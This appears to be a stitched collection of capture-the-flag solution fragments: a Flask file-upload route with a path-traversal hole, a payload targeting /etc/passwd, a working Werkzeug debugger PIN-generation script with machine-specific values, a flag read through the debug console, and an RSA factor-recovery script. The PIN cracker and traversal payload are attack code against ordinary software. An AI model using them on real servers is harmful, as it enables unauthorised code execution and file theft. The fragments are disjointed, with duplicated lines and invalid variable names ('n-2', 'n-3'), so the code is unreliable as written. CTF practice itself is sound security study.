@app.route("/", methods=["GET", "POST"]) #11
def index(): #12
    if request.method == "POST": #13
        print(request.files) #14
        note_content = request.files["note"].stream.read() #15
        note_title = b64encode(note_content[:50]).decode() #16
        uploaded_files.add(note_title) #17
        print(note_title) #18
        print(note_content) #19
        flash("Your file has been successfully uploaded!", "success") #20
        if os.path.exists(note_title): #21
            flash(f"The file {note_title} already exists!", "danger") #22
        else: #23
            open(note_title, "wb").write(note_content) #24
            flash(f"Your file has been written to! It has been saved with the title: {note_title}", "success") #25

        note_title = b64encode(note_content[:50]).decode() #16
        uploaded_files.add(note_title) #17

>>> payload = b64decode(b'//etc/passwd')
>>> print(payload)
b'\xff\xf7\xads\xfaZ\xb2\xcc\x1d'
>>> with open("input.bin", "wb") as f:
...     f.write(payload)

import hashlib
import itertools
from itertools import chain

def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.md5()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.sha1()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
    probably_public_bits = [
            username,
            modname,
            appname,
            flaskapp_path ]
    private_bits = [
            node_uuid,
            machine_id ]

    h = hasher
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    print(rv)

if __name__ == '__main__':

    usernames = ['jacobi']
    modnames = ['flask.app', 'werkzeug.debug']
    appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
    flaskpaths = ['/usr/local/lib/python3.13/site-packages/flask/app.py']
    nodeuuids = ['116595156675653']
    machineids = ['290a0861-7055-4ec3-9916-cdb1f7e47fcc']

    # Generate all possible combinations of values
    combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)

    # Iterate over the combinations and call the crack() function for each one
    for combo in combinations:
        username, modname, appname, flaskpath, nodeuuid, machineid = combo
        print('==========================================================================')
        crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
        print(f'{combo}')
        print('==========================================================================')

>>> print(open('flag.txt', 'r').read())
RCR{rC3_Just_t0_ReaD_4_fiL3?}

import math

# Public values from the output
flag1 = 11492112663703232088998486179734356177771567146805158417960125003237116439231226258659875708797399817744931063299748318101064301294216136873298987081319490145937107048642337728535911253970741196295376922168448878976469589443846093196421830469617589107742470128537185244364757796970083415861786554196168517831966671244906283809132068677607882319793466679026787758887577990349442662100930139100336136175243045045966567615399099883892136366882468101432422494155346928263194773441199700185161047426593464784067654388038794015818789112382156282633137679906682839029587361557507124817043427634040108459655059076740987192384
flag2 = 4952509765068005943929023031843431114540597187092738714903126772067946141703989572784140897934401082697437162345382546363262539532326425498475165138862831578872326769058104757689642323436428400734549347987121729721999216972287610017181744621923580613784280528094319337115580468333962976664642382951713734996844557627097050558648598389254848040570771430319254911664805107658029100255583056718934305481684430771282023833079529280029156492348848881417157592538442094955548441597641873477997544274413802625533454240475278118401388524163774631458900120835168954124149376210125669487879076005224324402897828069400754462817
flag3 = 832635235843260963315954320975950760182343666597438109641505827662230808005904093467755157050220263396479252248813223128489531311261338768982946110126160600744765531264253128791579206197722640752945391966957504838191737045481547210603871589545608892344858449735051695103642275193727646751872742558944213474626362348978842738127628973051301523219151083407250098830278639049985019075872996575145110830076988689935892814129057961258041944950895126632409918730985389473336802153365766599338113009784032170567987292888755868361829266838451794862482137390672574209264849235381496657497250742436985162295780366726898361475

n1 = 17858189458331977176783205510145346242329075006164832737615260745307500777302923782391964669567649775085122681328872195823985225861546790981029181901697377617738017081303713219017671572361492390837847089196556031690974890809922884662678039254137587713002336455039498173306053994439163020453505352157698564958428447487550817456903730014043187074720704452312511793034780752764123414676884871563210725690386057007997022651617836076682803508719887751203436051121561828471343707387576953315756670760479266036148064337918362609447399308776983755240618746806694447782498244372434669071672049750668585915479351754044777991233
n-2 = 27988292511630408087628435379321614455905755155908526846245303815018831647470172411594854883620030615448110055118069234326939102090454077116649426727895959703121425978302565278958246699172962990698968383263856202038742080400833395699326649141862184813455501146105201914061652698539038504126091124829475746301242565988800180930109751956393420828946755373612363675944873639709271075863889618954766614476365612770800460612362627801799559523509061850369462031748981803274498119708059567622255620759508648716908850891237844987925855021202095512750624375024412242964800063919261993198259658255269969227717249296364394728701
n-3 = 38660180269440656477053314413313714739062655930125687065781703038150391320898743760212709373892830529605814753216140367569440889146085510051662809299856987103911894539082484910702016539429463270580447118064831756349229400710729340872901108067075023980052189953271797924249586371572823947426357923900405426018338108052104392652303276006930930451348478532135626424674508274264632509573012814884347342851455437267076470425745031250812060252385012112699148646763361357973846549910142450805741636272703367045063152051223051807503235461739514919589765417385756615237864412747917566329839115378785588573077455129039985274609
e = 65537

# 1. Calculate S = 4*n2 - n1 - n3
S = 4 * n2 - n1 - n3

# 2. Solve the quadratic equation K^2 - S*K + n1*n3 = 0
discriminant = S**2 - 4 * n1 * n3
sqrt_discriminant = math.isqrt(discriminant)

# The two roots are K1 and K2
K1 = (S + sqrt_discriminant) // 2
K2 = (S - sqrt_discriminant) // 2

# 3. Find the prime factors using GCD
# K1 and K2 are a*z and c*x. We test both possibilities.
a = math.gcd(n1, K1)
if a == 1: # If gcd is 1, we guessed the wrong K for n1
    a = math.gcd(n1, K2)
    c = math.gcd(n3, K1)
else:
    c = math.gcd(n3, K2)

x = n1 // a
z = n3 // c

# 4. Recover the remaining primes b and y
b = (a + c) // 2
y = (x + z) // 2

# Sanity check: ensure our calculated primes multiply to n2
assert n2 == b * y

# 5. Decrypt each part of the flag
def decrypt_part(ciphertext, p, q, e, n):
    """Decrypts an RSA message given the prime factors."""
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    plaintext_int = pow(ciphertext, d, n)
    # Convert the resulting integer to bytes
    byte_length = (plaintext_int.bit_length() + 7) // 8
    return plaintext_int.to_bytes(byte_length, 'big')

# Decrypt and get the byte representation of each flag part
part1_bytes = decrypt_part(flag1, a, x, e, n1)
part2_bytes = decrypt_part(flag2, b, y, e, n2)
part3_bytes = decrypt_part(flag3, c, z, e, n3)

# 6. Combine the parts and print the result
full_flag = part1_bytes + part2_bytes + part3_bytes
print("✅ The decrypted flag is:")
print(full_flag.decode())